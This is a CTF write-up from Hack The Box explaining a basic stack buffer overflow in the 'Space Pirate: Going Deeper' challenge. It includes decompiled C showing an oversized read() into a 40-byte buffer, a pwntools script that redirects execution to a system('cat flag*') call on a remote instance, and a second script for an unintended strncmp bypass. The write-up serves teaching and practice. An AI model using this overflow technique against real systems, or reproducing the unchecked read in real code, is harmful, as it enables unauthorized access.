Write-Ups

5 min read

CA CTF 2022: Buffer Overflow 101 - Space Pirate: Going Deeper

Exploiting Buffer Overflows, w3th4nds shares his write-up of the Space Pirate: Going Deeper challenge from Cyber Apocalypse CTF 2022.

w3th4nds,
Jun 20
2022

Challenge Description 📄

We are inside D12! We bypassed the scanning system, and are now right in front of the Admin Panel. The problem is that there are some safety mechanisms enabled that prevent us from accessing the admin panel and becoming the user right below Draeger.
Only a few of his intergalactic team members have access, and they are the mutants that Draeger trusts. Can you disable the mechanisms and take control of the Admin Panel?

This challenge had an unintended solution, but we decided to keep it to help new players take a first look at the category.

In this write-up, we will cover one of the most basic Buffer Overflow techniques: a simple flow redirect. The goal of the challenge is to teach the user that when a function reads more than a buffer can store, the flow of the program can be redirected to whatever the malicious user wants. To be specific, the user can access part of the code that he would normally not be able to. 

Taking a look at the challenge 🔍

First of all, we start with a checksec to check the protections:

Canary: A random value is generated and put on the stack and checked before that function is left again. If the canary value is not correct or has been changed or overwritten, the application will immediately stop.

NX: Stands for non-executable segment, meaning that we cannot write and/or execute code on the stack.

PIE: Stands for Position Independent Executable, which randomizes the base address of the binary, as it tells the loader which virtual address it should use.

RelRO: Stands for Relocation Read-Only. The headers of the binary are marked as read-only.

The interface of the program

The interface leaks nothing useful for the user to get the flag. So, we have to dig deeper to better understand the binary.

Disassemble the binary

To disassemble our program, we need a disassembler like Ghidra. Most of the programs in C, start with main(). If a binary is stripped, it will start with the entry(), but this is something that will not be covered here.

Starting from admin_panel():

void admin_panel(long param_1,long param_2,long param_3)

{
  int iVar1;
  char local_38 [40];
  long local_10;
  
  local_10 = 0;
  printf(
         "[*] Safety mechanisms are enabled!\n[*] Values are set to: a = [%x], b = [%ld], c =[%ld].\n[*] If you want to continue, disable the mechanism or login as admin.\n"
         ,param_1,param_2,param_3);
  while (((local_10 != 1 && (local_10 != 2)) && (local_10 != 3))) {
    printf(&DAT_004014e8);
    local_10 = read_num();
  }
  if (local_10 == 1) {
    printf("\n[*] Input: ");
  }
  else {
    if (local_10 != 2) {
      puts("\n[!] Exiting..\n");
                    /* WARNING: Subroutine does not return */
      exit(0x1b39);
    }
    printf("\n[*] Username: ");
  }
  read(0,local_38,0x39); // This is where Bof occurs
  if (((param_1 != 0xdeadbeef) || (param_2 != 0x1337c0de)) || (param_3 != 0x1337beef)) {
    iVar1 = strncmp("DRAEGER15th30n34nd0nly4dm1n15tr4t0R0fth15sp4c3cr4ft",local_38,0x34);
    if (iVar1 != 0) {
      printf("\n%s[-] Authentication failed!\n",&DAT_00400c40);
      goto LAB_00400b38;
    }
  }
  printf("\n%s[+] Welcome admin! The secret message is: ",&DAT_00400c38);
  system("cat flag*");
LAB_00400b38:
  puts("\n[!] For security reasons, you are logged out..\n");
  return;
}
  • There is a buffer with a size of 40 bytes - > local_38.

  • There is a read(0, local_38, 0x39), which triggers a Buffer Overflow.

  • Last but not least, we see that there is a system("cat flag*") command there.

As we noticed before, canary and PIE are disabled, meaning we can trigger a bof and redirect the flow anywhere we want inside the binary. Taking into consideration that the payload could not be too big because read reads up to 0x39 bytes, we can overflow the buffer and jump right before system is called.

We cannot pass the other checks to call system, so this one will work just fine.

Writing the exploit 

#!/usr/bin/python3.8
from pwn import *
import warnings
warnings.filterwarnings('ignore')

fname  = './sp_going_deeper' 
e  = ELF(fname)
LOCAL = False

counter = 1

while True:
  if LOCAL:
    r    = process(fname)
  else:
    IP   = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
    PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
    r    = remote(IP, PORT)
  
  try:
    r.sendline('1')
    r.sendline(b'A'*56 + p64(e.sym.admin_panel + 297))
    success(f'Flag --> {r.recvline_contains(b"HTB", timeout = 0.2).strip().decode()}')
    r.close()
    break
  except:
    print(f"[-] Could not get flag! Tries: [{counter}]")
    counter += 1
    r.close()

The remote instance might be a bit unstable, so I added a try-except inside a while loop to secure the flag.

Unintended way

The bug was here at the check and the strncmp function:

  if (((param_1 != 0xdeadbeef) || (param_2 != 0x1337c0de)) || (param_3 != 0x1337beef)) {
    iVar1 = strncmp("DRAEGER15th30n34nd0nly4dm1n15tr4t0R0fth15sp4c3cr4ft",local_38,0x34);
    if (iVar1 != 0) {
      printf("\n%s[-] Authentication failed!\n",&DAT_00400c40);
      goto LAB_00400b38;
    }
  }
  printf("\n%s[+] Welcome admin! The secret message is: ",&DAT_00400c38);
  system("cat flag*");

The strcmp function was comparing many characters and the comparison could be passed.

We patched it by changing the if statement.

 ( (a == 0xdeadbeef) && (b == 0x1337c0de) && (c == 0x1337beef) && strncmp(USERNAME, buf, 52) ) ?
from pwn import *

r = process('./sp_going_deeper')

r.sendline(b'1')
r.sendline(b'DRAEGER15th30n34nd0nly4dm1n15tr4t0R0fth15sp4c3cr4ft\x00')
print(r.recvline_contains(b'HTB'))

Hack The Blog

The latest news and updates, direct from Hack The Box